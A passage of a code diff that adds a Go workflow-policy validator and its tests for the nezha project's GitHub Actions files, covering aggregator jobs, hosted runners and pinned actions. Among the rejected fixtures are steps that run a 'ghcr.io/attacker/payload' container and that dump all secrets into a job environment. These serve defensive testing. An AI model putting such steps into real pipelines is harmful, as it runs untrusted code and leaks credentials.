||||
}
|
||||
|
||||
func mappingNodeValue(node *yaml.Node, key string) *yaml.Node {
|
||||
for index := 0; index < len(node.Content); index += 2 {
|
||||
if node.Content[index].Value == key {
|
||||
return node.Content[index+1]
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func scalarValues(node *yaml.Node) []string {
|
||||
values := make([]string, 0, len(node.Content))
|
||||
for _, child := range node.Content {
|
||||
values = append(values, child.Value)
|
||||
}
|
||||
return values
|
||||
}
|
||||
|
||||
func requireTypedPolicyError(t *testing.T, err error, rule workflowpolicy.Rule) *workflowpolicy.PolicyError {
|
||||
t.Helper()
|
||||
var policyError *workflowpolicy.PolicyError
|
||||
require.True(t, errors.As(err, &policyError), "expected typed policy error, got %T: %v", err, err)
|
||||
require.True(t, policyError.Has(rule), "diagnostic: %v", err)
|
||||
return policyError
|
||||
}
|
||||
@@ -0,0 +1,212 @@
|
||||
package workflowpolicy_test
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy"
|
||||
"github.com/stretchr/testify/require"
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
func TestPolicy_NezhaQualityWorkflow(t *testing.T) {
|
||||
// Given
|
||||
path := filepath.Join(repositoryRoot(t), ".github", "workflows", "test.yml")
|
||||
data, err := os.ReadFile(path)
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, workflowpolicy.Verify(data, workflowpolicy.RepositoryNezha))
|
||||
var document yaml.Node
|
||||
require.NoError(t, yaml.Unmarshal(data, &document))
|
||||
root := document.Content[0]
|
||||
var workflow qualityWorkflow
|
||||
require.NoError(t, yaml.Unmarshal(data, &workflow))
|
||||
|
||||
// When
|
||||
jobs := mappingNodeValue(root, "jobs")
|
||||
aggregator := mappingNodeValue(jobs, "nezha-quality-required")
|
||||
needs := mappingNodeValue(aggregator, "needs")
|
||||
|
||||
// Then
|
||||
triggers := mappingNodeValue(root, "on")
|
||||
require.NotNil(t, mappingNodeValue(triggers, "merge_group"))
|
||||
require.Equal(t, []string{"master"}, workflow.Triggers.Push.Branches)
|
||||
require.Empty(t, workflow.Triggers.Push.Paths)
|
||||
require.Equal(t, []string{"master"}, workflow.Triggers.PullRequest.Branches)
|
||||
require.Empty(t, workflow.Triggers.PullRequest.Paths)
|
||||
require.Equal(t, map[string]string{"contents": "read"}, workflow.Permissions)
|
||||
require.NotEmpty(t, workflow.Concurrency.Group)
|
||||
require.NotNil(t, workflow.Concurrency.CancelInProgress)
|
||||
require.True(t, *workflow.Concurrency.CancelInProgress)
|
||||
require.Len(t, workflow.Jobs, 4)
|
||||
|
||||
ordinaryJob := workflow.Jobs["tests"]
|
||||
require.Equal(t, []string{"ubuntu-latest", "windows-latest", "macos-latest"}, ordinaryJob.Strategy.Matrix.OS)
|
||||
require.NotNil(t, ordinaryJob.Strategy.FailFast)
|
||||
require.False(t, *ordinaryJob.Strategy.FailFast)
|
||||
require.Equal(t, "${{ matrix.os }}", ordinaryJob.RunsOn)
|
||||
require.Equal(t, 30, ordinaryJob.TimeoutMinutes)
|
||||
requireCheckoutAndSetupGo(t, ordinaryJob.Steps)
|
||||
require.Equal(t, strings.Join([]string{
|
||||
"go install github.com/swaggo/swag/cmd/swag@v1.16.6",
|
||||
"touch ./cmd/dashboard/user-dist/a",
|
||||
"touch ./cmd/dashboard/admin-dist/a",
|
||||
"swag init --pd -d cmd/dashboard -g main.go -o cmd/dashboard/docs",
|
||||
}, "\n"), strings.TrimSpace(ordinaryJob.stepNamed(t, "Generate Swagger docs").Run))
|
||||
require.Equal(t, "go test -mod=readonly -count=1 ./...", ordinaryJob.stepNamed(t, "Unit test").Run)
|
||||
require.Equal(t, "go build -v ./cmd/dashboard", ordinaryJob.stepNamed(t, "Build dashboard").Run)
|
||||
|
||||
linuxJob := workflow.Jobs["linux-race-quality"]
|
||||
require.Equal(t, "ubuntu-24.04", linuxJob.RunsOn)
|
||||
require.Equal(t, 45, linuxJob.TimeoutMinutes)
|
||||
requireCheckoutAndSetupGo(t, linuxJob.Steps)
|
||||
require.Equal(t, ordinaryJob.stepNamed(t, "Generate Swagger docs").Run, linuxJob.stepNamed(t, "Generate Swagger docs").Run)
|
||||
require.Equal(t, "go test -mod=readonly -race -shuffle=on -count=1 ./...", linuxJob.stepNamed(t, "Race and shuffle tests").Run)
|
||||
require.Equal(t, "go vet ./...", linuxJob.stepNamed(t, "Vet").Run)
|
||||
require.Equal(t, "test -z \"$(git ls-files -co --exclude-standard '*.go' -z | xargs -0 gofmt -l)\"", linuxJob.stepNamed(t, "Check formatting").Run)
|
||||
require.Equal(t, "go build ./cmd/dashboard", linuxJob.stepNamed(t, "Build dashboard").Run)
|
||||
gosecStep := linuxJob.stepNamed(t, "Run Gosec Security Scanner")
|
||||
require.Equal(t, "auto", gosecStep.Env.GoToolchain)
|
||||
require.Equal(t, strings.Join([]string{
|
||||
"go install github.com/securego/gosec/v2/cmd/gosec@v2.27.1",
|
||||
"gosec --exclude=G104,G115,G117,G203,G402,G703,G704 ./...",
|
||||
}, "\n"), strings.TrimSpace(gosecStep.Run))
|
||||
|
||||
require.Len(t, scalarValues(needs), 3)
|
||||
require.ElementsMatch(t, []string{"tests", "linux-race-quality", "agentcompat-stress"}, scalarValues(needs))
|
||||
require.Equal(t, "nezha-quality-required", workflow.Jobs["nezha-quality-required"].Name)
|
||||
require.Equal(t, "${{ always() }}", mappingNodeValue(aggregator, "if").Value)
|
||||
steps := mappingNodeValue(aggregator, "steps")
|
||||
require.Len(t, steps.Content, 1)
|
||||
require.Equal(t, strings.Join([]string{
|
||||
"test \"${{ needs.tests.result }}\" = success",
|
||||
"test \"${{ needs.linux-race-quality.result }}\" = success",
|
||||
"test \"${{ needs.agentcompat-stress.result }}\" = success",
|
||||
}, "\n"), strings.TrimSpace(mappingNodeValue(steps.Content[0], "run").Value))
|
||||
}
|
||||
|
||||
type qualityWorkflow struct {
|
||||
Triggers qualityTriggers `yaml:"on"`
|
||||
Permissions map[string]string `yaml:"permissions"`
|
||||
Concurrency qualityConcurrency `yaml:"concurrency"`
|
||||
Jobs map[string]qualityJob `yaml:"jobs"`
|
||||
}
|
||||
|
||||
type qualityTriggers struct {
|
||||
Push qualityBranchTrigger `yaml:"push"`
|
||||
PullRequest qualityBranchTrigger `yaml:"pull_request"`
|
||||
}
|
||||
|
||||
type qualityBranchTrigger struct {
|
||||
Branches []string `yaml:"branches"`
|
||||
Paths []string `yaml:"paths"`
|
||||
}
|
||||
|
||||
type qualityConcurrency struct {
|
||||
Group string `yaml:"group"`
|
||||
CancelInProgress *bool `yaml:"cancel-in-progress"`
|
||||
}
|
||||
|
||||
type qualityJob struct {
|
||||
Name string `yaml:"name"`
|
||||
Strategy qualityStrategy `yaml:"strategy"`
|
||||
RunsOn string `yaml:"runs-on"`
|
||||
TimeoutMinutes int `yaml:"timeout-minutes"`
|
||||
Steps []qualityStep `yaml:"steps"`
|
||||
}
|
||||
|
||||
type qualityStrategy struct {
|
||||
FailFast *bool `yaml:"fail-fast"`
|
||||
Matrix qualityMatrix `yaml:"matrix"`
|
||||
}
|
||||
|
||||
type qualityMatrix struct {
|
||||
OS []string `yaml:"os"`
|
||||
}
|
||||
|
||||
type qualityStep struct {
|
||||
Name string `yaml:"name"`
|
||||
Uses string `yaml:"uses"`
|
||||
Run string `yaml:"run"`
|
||||
WorkingDirectory string `yaml:"working-directory"`
|
||||
Env qualityEnv `yaml:"env"`
|
||||
With qualityWith `yaml:"with"`
|
||||
}
|
||||
|
||||
type qualityEnv struct {
|
||||
GoToolchain string `yaml:"GOTOOLCHAIN"`
|
||||
AgentcompatNezhaSource string `yaml:"AGENTCOMPAT_NEZHA_SOURCE"`
|
||||
AgentcompatAgentSource string `yaml:"AGENTCOMPAT_AGENT_SOURCE"`
|
||||
}
|
||||
|
||||
type qualityWith struct {
|
||||
PersistCredentials *bool `yaml:"persist-credentials"`
|
||||
GoVersion string `yaml:"go-version"`
|
||||
Cache *bool `yaml:"cache"`
|
||||
Repository string `yaml:"repository"`
|
||||
Ref string `yaml:"ref"`
|
||||
Path string `yaml:"path"`
|
||||
}
|
||||
|
||||
func (j qualityJob) stepNamed(t *testing.T, name string) qualityStep {
|
||||
t.Helper()
|
||||
for _, step := range j.Steps {
|
||||
if step.Name == name {
|
||||
return step
|
||||
}
|
||||
}
|
||||
t.Fatalf("workflow job is missing step %q", name)
|
||||
return qualityStep{}
|
||||
}
|
||||
|
||||
func requireCheckoutAndSetupGo(t *testing.T, steps []qualityStep) {
|
||||
t.Helper()
|
||||
require.GreaterOrEqual(t, len(steps), 2)
|
||||
checkout := steps[0]
|
||||
require.Equal(t, "actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0", checkout.Uses)
|
||||
require.NotNil(t, checkout.With.PersistCredentials)
|
||||
require.False(t, *checkout.With.PersistCredentials)
|
||||
setupGo := steps[1]
|
||||
require.Equal(t, "actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16", setupGo.Uses)
|
||||
require.Equal(t, "1.26.x", setupGo.With.GoVersion)
|
||||
require.NotNil(t, setupGo.With.Cache)
|
||||
require.False(t, *setupGo.With.Cache)
|
||||
}
|
||||
|
||||
func TestPolicy_AcceptsWorkflowWithoutTestsOrRequiredAggregator(t *testing.T) {
|
||||
// Given
|
||||
data, err := os.ReadFile(fixturePath(t, "quality-only.yml"))
|
||||
require.NoError(t, err)
|
||||
|
||||
// When
|
||||
err = workflowpolicy.Verify(data, workflowpolicy.RepositoryNezha)
|
||||
|
||||
// Then
|
||||
require.NoError(t, err)
|
||||
}
|
||||
|
||||
func readNezhaQualityWorkflow(t *testing.T) []byte {
|
||||
t.Helper()
|
||||
data, err := os.ReadFile(filepath.Join(repositoryRoot(t), ".github", "workflows", "test.yml"))
|
||||
require.NoError(t, err)
|
||||
return data
|
||||
}
|
||||
|
||||
func repositoryRoot(t *testing.T) string {
|
||||
t.Helper()
|
||||
current, err := os.Getwd()
|
||||
require.NoError(t, err)
|
||||
for {
|
||||
goModule, readError := os.ReadFile(filepath.Join(current, "go.mod"))
|
||||
if readError == nil && strings.HasPrefix(string(goModule), "module github.com/nezhahq/nezha\n") {
|
||||
return current
|
||||
}
|
||||
if readError != nil && !os.IsNotExist(readError) {
|
||||
require.NoError(t, readError)
|
||||
}
|
||||
parent := filepath.Dir(current)
|
||||
require.NotEqual(t, current, parent, "repository root containing go.mod was not found")
|
||||
current = parent
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,86 @@
|
||||
package workflowpolicy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
func (c *checker) checkRequiredAggregator(jobs *yaml.Node) {
|
||||
aggregatorName := map[Repository]string{
|
||||
RepositoryAgent: "agent-quality-required", RepositoryNezha: "nezha-quality-required",
|
||||
}[c.repository]
|
||||
if aggregatorName == "" {
|
||||
return
|
||||
}
|
||||
_, hasTestsJob := mappingValue(jobs, "tests")
|
||||
_, hasQualityJob := mappingValue(jobs, "linux-race-quality")
|
||||
if !hasTestsJob || !hasQualityJob {
|
||||
return
|
||||
}
|
||||
requiredJobs := []string{"tests", "linux-race-quality", "agentcompat-stress"}
|
||||
aggregator, hasAggregator := mappingValue(jobs, aggregatorName)
|
||||
if !hasAggregator || aggregator.Kind != yaml.MappingNode {
|
||||
c.reject(RuleWorkflowStructure, at("$.jobs."+aggregatorName, jobs), "required quality aggregator is missing")
|
||||
return
|
||||
}
|
||||
needs, hasNeeds := mappingValue(aggregator, "needs")
|
||||
if !hasNeeds || !hasExactRequiredNeeds(needs, requiredJobs) {
|
||||
c.reject(RuleWorkflowStructure, at("$.jobs."+aggregatorName+".needs", aggregator), "required quality aggregator needs must include every blocking job exactly once")
|
||||
}
|
||||
condition, hasCondition := mappingValue(aggregator, "if")
|
||||
if !hasCondition || !isAlwaysCondition(condition) {
|
||||
c.reject(RuleWorkflowStructure, at("$.jobs."+aggregatorName+".if", aggregator), "required quality aggregator must use if: always()")
|
||||
}
|
||||
steps, hasSteps := mappingValue(aggregator, "steps")
|
||||
if !hasSteps || !hasRequiredSuccessChecks(steps, requiredJobs) {
|
||||
c.reject(RuleWorkflowStructure, at("$.jobs."+aggregatorName+".steps", aggregator), "required quality aggregator must test every blocking job result for success")
|
||||
}
|
||||
}
|
||||
|
||||
func hasExactRequiredNeeds(node *yaml.Node, requiredJobs []string) bool {
|
||||
if node == nil || node.Kind != yaml.SequenceNode || len(node.Content) != len(requiredJobs) {
|
||||
return false
|
||||
}
|
||||
required := make(map[string]struct{}, len(requiredJobs))
|
||||
for _, jobName := range requiredJobs {
|
||||
required[jobName] = struct{}{}
|
||||
}
|
||||
for _, valueNode := range node.Content {
|
||||
value, literal := scalarString(valueNode)
|
||||
if !literal {
|
||||
return false
|
||||
}
|
||||
delete(required, value)
|
||||
}
|
||||
return len(required) == 0
|
||||
}
|
||||
|
||||
func isAlwaysCondition(node *yaml.Node) bool {
|
||||
condition, literal := scalarString(node)
|
||||
condition = strings.TrimSpace(condition)
|
||||
return literal && (condition == "always()" || condition == "${{ always() }}")
|
||||
}
|
||||
|
||||
func hasRequiredSuccessChecks(steps *yaml.Node, requiredJobs []string) bool {
|
||||
if steps == nil || steps.Kind != yaml.SequenceNode || len(steps.Content) != 1 {
|
||||
return false
|
||||
}
|
||||
run, hasRun := mappingValue(steps.Content[0], "run")
|
||||
command, literal := scalarString(run)
|
||||
if !hasRun || !literal {
|
||||
return false
|
||||
}
|
||||
lines := strings.Split(strings.TrimSpace(command), "\n")
|
||||
if len(lines) != len(requiredJobs) {
|
||||
return false
|
||||
}
|
||||
requiredChecks := make(map[string]struct{}, len(requiredJobs))
|
||||
for _, jobName := range requiredJobs {
|
||||
requiredChecks[`test "${{ needs.`+jobName+`.result }}" = success`] = struct{}{}
|
||||
}
|
||||
for _, line := range lines {
|
||||
delete(requiredChecks, strings.TrimSpace(line))
|
||||
}
|
||||
return len(requiredChecks) == 0
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
package workflowpolicy_test
|
||||
|
||||
import (
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestPolicy_RejectsMissingRequiredDependency(t *testing.T) {
|
||||
// Given
|
||||
data, err := os.ReadFile(fixturePath(t, "missing-required-dependency.yml"))
|
||||
require.NoError(t, err)
|
||||
|
||||
// When
|
||||
err = workflowpolicy.Verify(data, workflowpolicy.RepositoryNezha)
|
||||
|
||||
// Then
|
||||
var policyError *workflowpolicy.PolicyError
|
||||
require.ErrorAs(t, err, &policyError)
|
||||
require.True(t, policyError.Has(workflowpolicy.RuleWorkflowStructure))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsInvalidRequiredAggregator(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
currentText string
|
||||
invalidText string
|
||||
}{
|
||||
{
|
||||
name: "missing tests dependency",
|
||||
currentText: "needs:\n - tests\n - linux-race-quality\n - agentcompat-stress",
|
||||
invalidText: "needs:\n - linux-race-quality\n - agentcompat-stress",
|
||||
},
|
||||
{
|
||||
name: "extra dependency",
|
||||
currentText: " - agentcompat-stress\n runs-on:",
|
||||
invalidText: " - agentcompat-stress\n - unrelated-job\n runs-on:",
|
||||
},
|
||||
{
|
||||
name: "missing stress dependency",
|
||||
currentText: " - linux-race-quality\n - agentcompat-stress",
|
||||
invalidText: " - linux-race-quality",
|
||||
},
|
||||
{
|
||||
name: "missing always condition",
|
||||
currentText: "if: ${{ always() }}",
|
||||
invalidText: "if: ${{ success() }}",
|
||||
},
|
||||
{
|
||||
name: "tests result only mentioned",
|
||||
currentText: "test \"${{ needs.tests.result }}\" = success",
|
||||
invalidText: "printf '%s success\\n' \"${{ needs.tests.result }}\"",
|
||||
},
|
||||
{
|
||||
name: "quality result only mentioned",
|
||||
currentText: "test \"${{ needs.linux-race-quality.result }}\" = success",
|
||||
invalidText: "printf '%s success\\n' \"${{ needs.linux-race-quality.result }}\"",
|
||||
},
|
||||
{
|
||||
name: "stress result only mentioned",
|
||||
currentText: "test \"${{ needs.agentcompat-stress.result }}\" = success",
|
||||
invalidText: "printf '%s success\\n' \"${{ needs.agentcompat-stress.result }}\"",
|
||||
},
|
||||
{
|
||||
name: "success checks defined but not executed",
|
||||
currentText: strings.Join([]string{
|
||||
"test \"${{ needs.tests.result }}\" = success",
|
||||
"test \"${{ needs.linux-race-quality.result }}\" = success",
|
||||
"test \"${{ needs.agentcompat-stress.result }}\" = success",
|
||||
}, "\n "),
|
||||
invalidText: strings.Join([]string{
|
||||
"check_results() {",
|
||||
" test \"${{ needs.tests.result }}\" = success",
|
||||
" test \"${{ needs.linux-race-quality.result }}\" = success",
|
||||
" test \"${{ needs.agentcompat-stress.result }}\" = success",
|
||||
"}",
|
||||
}, "\n "),
|
||||
},
|
||||
}
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
// Given
|
||||
data := readNezhaQualityWorkflow(t)
|
||||
invalidWorkflow := strings.Replace(string(data), test.currentText, test.invalidText, 1)
|
||||
require.NotEqual(t, string(data), invalidWorkflow, "workflow mutation must match current content")
|
||||
|
||||
// When
|
||||
err := workflowpolicy.Verify([]byte(invalidWorkflow), workflowpolicy.RepositoryNezha)
|
||||
|
||||
// Then
|
||||
var policyError *workflowpolicy.PolicyError
|
||||
require.ErrorAs(t, err, &policyError)
|
||||
require.True(t, policyError.Has(workflowpolicy.RuleWorkflowStructure))
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsMissingRequiredAggregator(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("missing-required-aggregator.yml", workflowpolicy.RuleWorkflowStructure, "aggregator is missing"))
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
package workflowpolicy
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
var (
|
||||
resolvedRefPattern = regexp.MustCompile(`^\$\{\{\s*steps\.([A-Za-z0-9_-]+)\.outputs\.sha\s*\}\}$`)
|
||||
resolverRemotePattern = regexp.MustCompile(`(?m)^\s*remote=['"]https://github\.com/(nezhahq/(?:agent|nezha))\.git['"]\s*$`)
|
||||
)
|
||||
|
||||
type refResolver struct {
|
||||
id string
|
||||
repository Repository
|
||||
}
|
||||
|
||||
func validatedRefResolver(step *yaml.Node) (refResolver, bool) {
|
||||
idNode, hasID := mappingValue(step, "id")
|
||||
runNode, hasRun := mappingValue(step, "run")
|
||||
id, literalID := scalarString(idNode)
|
||||
command, literalRun := scalarString(runNode)
|
||||
if !hasID || !hasRun || !literalID || !literalRun || strings.TrimSpace(id) == "" {
|
||||
return refResolver{}, false
|
||||
}
|
||||
lines := make([]string, 0, 7)
|
||||
for _, line := range strings.Split(command, "\n") {
|
||||
trimmed := strings.TrimSpace(line)
|
||||
if trimmed != "" {
|
||||
lines = append(lines, trimmed)
|
||||
}
|
||||
}
|
||||
if len(lines) != 7 || lines[0] != "set -euo pipefail" {
|
||||
return refResolver{}, false
|
||||
}
|
||||
remoteMatch := resolverRemotePattern.FindStringSubmatch(lines[1])
|
||||
if len(remoteMatch) != 2 {
|
||||
return refResolver{}, false
|
||||
}
|
||||
repository := Repository(remoteMatch[1])
|
||||
branch := "main"
|
||||
if repository == RepositoryNezha {
|
||||
branch = "master"
|
||||
}
|
||||
expectedLines := []string{
|
||||
lines[0],
|
||||
lines[1],
|
||||
"mapfile -t refs < <(git ls-remote \"$remote\" refs/heads/" + branch + ")",
|
||||
"(( ${#refs[@]} == 1 ))",
|
||||
"sha=${refs[0]%%$'\\t'*}",
|
||||
`[[ "$sha" =~ ^[0-9a-f]{40}$ ]]`,
|
||||
`printf 'sha=%s\n' "$sha" >> "$GITHUB_OUTPUT"`,
|
||||
}
|
||||
for index, expected := range expectedLines {
|
||||
if lines[index] != expected {
|
||||
return refResolver{}, false
|
||||
}
|
||||
}
|
||||
return refResolver{id: id, repository: repository}, true
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package workflowpolicy
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
var matrixRunnerPattern = regexp.MustCompile(`^\$\{\{\s*matrix\.([A-Za-z0-9_-]+)\s*\}\}$`)
|
||||
var githubHostedRunnerPattern = regexp.MustCompile(`^(?:ubuntu|windows|macos)(?:-[A-Za-z0-9.]+)?$`)
|
||||
|
||||
func (c *checker) checkRunner(jobPath string, job *yaml.Node) {
|
||||
runner, exists := mappingValue(job, "runs-on")
|
||||
if !exists {
|
||||
c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", job), "jobs must declare a literal GitHub-hosted runner")
|
||||
return
|
||||
}
|
||||
if containsScalar(runner, "self-hosted") {
|
||||
c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "self-hosted runners are forbidden")
|
||||
return
|
||||
}
|
||||
if runner.Kind == yaml.SequenceNode {
|
||||
if containsExpression(runner) || !allGitHubHostedLabels(runner) {
|
||||
c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on entries must be literal GitHub-hosted labels")
|
||||
}
|
||||
return
|
||||
}
|
||||
runnerValue, literal := scalarString(runner)
|
||||
if !literal {
|
||||
c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on must be a literal GitHub-hosted runner or static matrix axis")
|
||||
return
|
||||
}
|
||||
if !strings.Contains(runnerValue, "${{") {
|
||||
if !githubHostedRunnerPattern.MatchString(runnerValue) {
|
||||
c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on must use a GitHub-hosted runner")
|
||||
}
|
||||
return
|
||||
}
|
||||
matrixMatch := matrixRunnerPattern.FindStringSubmatch(runnerValue)
|
||||
if len(matrixMatch) != 2 {
|
||||
c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on must be a literal GitHub-hosted runner or static matrix axis")
|
||||
return
|
||||
}
|
||||
strategy, hasStrategy := mappingValue(job, "strategy")
|
||||
matrix, hasMatrix := mappingValue(strategy, "matrix")
|
||||
if include, hasInclude := mappingValue(matrix, "include"); hasInclude {
|
||||
c.reject(RuleSelfHostedRunner, at(jobPath+".strategy.matrix.include", include), "matrix include is forbidden for runner selection")
|
||||
return
|
||||
}
|
||||
runnerAxis, hasRunnerAxis := mappingValue(matrix, matrixMatch[1])
|
||||
if !hasStrategy || !hasMatrix || !hasRunnerAxis || containsExpression(runnerAxis) || !allGitHubHostedLabels(runnerAxis) {
|
||||
c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on matrix axis must contain only literal GitHub-hosted labels")
|
||||
return
|
||||
}
|
||||
if containsScalar(runnerAxis, "self-hosted") {
|
||||
c.reject(RuleSelfHostedRunner, at(jobPath+".strategy.matrix."+matrixMatch[1], runnerAxis), "self-hosted runners are forbidden")
|
||||
}
|
||||
}
|
||||
|
||||
func allGitHubHostedLabels(node *yaml.Node) bool {
|
||||
valid := true
|
||||
walkScalars(node, func(scalar *yaml.Node) {
|
||||
if !githubHostedRunnerPattern.MatchString(scalar.Value) {
|
||||
valid = false
|
||||
}
|
||||
})
|
||||
return valid
|
||||
}
|
||||
|
||||
func containsExpression(node *yaml.Node) bool {
|
||||
found := false
|
||||
walkScalars(node, func(scalar *yaml.Node) {
|
||||
if strings.Contains(scalar.Value, "${{") {
|
||||
found = true
|
||||
}
|
||||
})
|
||||
return found
|
||||
}
|
||||
|
||||
func (c *checker) checkRequiredCacheDisabled(path string, step *yaml.Node) {
|
||||
with, hasWith := mappingValue(step, "with")
|
||||
cache, hasCache := mappingValue(with, "cache")
|
||||
if hasWith && hasCache && explicitFalse(cache) {
|
||||
return
|
||||
}
|
||||
node := step
|
||||
if hasCache {
|
||||
node = cache
|
||||
}
|
||||
c.reject(RuleReusableExecutable, at(path+".with.cache", node), "actions/setup-go requires cache: false")
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package workflowpolicy_test
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/require"
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
const agentcompatStressTestName = "TestStressPRFullEightAgentExactlyOnce"
|
||||
|
||||
func TestPolicy_NezhaStressWorkflowRunsPinnedCrossRepositoryTest(t *testing.T) {
|
||||
// Given
|
||||
data := readNezhaQualityWorkflow(t)
|
||||
var workflow qualityWorkflow
|
||||
require.NoError(t, yaml.Unmarshal(data, &workflow))
|
||||
|
||||
// When
|
||||
stressJob, exists := workflow.Jobs["agentcompat-stress"]
|
||||
|
||||
// Then
|
||||
require.True(t, exists)
|
||||
require.Equal(t, "Linux agent compatibility stress", stressJob.Name)
|
||||
require.Equal(t, "ubuntu-24.04", stressJob.RunsOn)
|
||||
require.Equal(t, 75, stressJob.TimeoutMinutes)
|
||||
require.Len(t, stressJob.Steps, 5)
|
||||
|
||||
nezhaCheckout := stressJob.stepNamed(t, "Checkout Nezha revision")
|
||||
require.Equal(t, "actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0", nezhaCheckout.Uses)
|
||||
require.Empty(t, nezhaCheckout.With.Repository)
|
||||
require.Empty(t, nezhaCheckout.With.Ref)
|
||||
require.Equal(t, "nezha", nezhaCheckout.With.Path)
|
||||
require.False(t, *nezhaCheckout.With.PersistCredentials)
|
||||
|
||||
agentCheckout := stressJob.stepNamed(t, "Checkout pinned Agent revision")
|
||||
require.Equal(t, "actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0", agentCheckout.Uses)
|
||||
require.Equal(t, "nezhahq/agent", agentCheckout.With.Repository)
|
||||
require.Equal(t, "667e1dd5e166ffef808ec26dc20de85bc33a0a0f", agentCheckout.With.Ref)
|
||||
require.Equal(t, "agent", agentCheckout.With.Path)
|
||||
require.False(t, *agentCheckout.With.PersistCredentials)
|
||||
|
||||
setupGo := stressJob.stepNamed(t, "Set up Go")
|
||||
require.Equal(t, "actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16", setupGo.Uses)
|
||||
require.Equal(t, "1.26.x", setupGo.With.GoVersion)
|
||||
require.False(t, *setupGo.With.Cache)
|
||||
|
||||
listStep := stressJob.stepNamed(t, "Require named stress test")
|
||||
require.Equal(t, "nezha", listStep.WorkingDirectory)
|
||||
require.Equal(t, "go test -mod=readonly -tags=agentcompat -list '^"+agentcompatStressTestName+"$' ./integration/agentcompat/internal/scenario | grep -Fx '"+agentcompatStressTestName+"'", listStep.Run)
|
||||
|
||||
runStep := stressJob.stepNamed(t, "Run PR-full agent compatibility stress")
|
||||
require.Equal(t, "nezha", runStep.WorkingDirectory)
|
||||
require.Equal(t, "${{ github.workspace }}/nezha", runStep.Env.AgentcompatNezhaSource)
|
||||
require.Equal(t, "${{ github.workspace }}/agent", runStep.Env.AgentcompatAgentSource)
|
||||
require.Equal(t, "go test -mod=readonly -tags=agentcompat -run '^"+agentcompatStressTestName+"$' -count=1 -v ./integration/agentcompat/internal/scenario", runStep.Run)
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: /usr/bin/docker run --rm ghcr.io/attacker/payload:latest
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
env:
|
||||
ALL_SECRETS: ${{ toJSON(secrets) }}
|
||||
steps:
|
||||
- run: go test ./...
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: /bin/docker run --rm ghcr.io/attacker/payload:latest
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: |
|
||||
true && if false; then
|
||||
echo ignored
|
||||
fi
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./...
|
||||
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
|
||||
with:
|
||||
path: ${{ runner.temp }}/results
|
||||
@@ -0,0 +1,13 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
env: &shared
|
||||
MODE: test
|
||||
steps:
|
||||
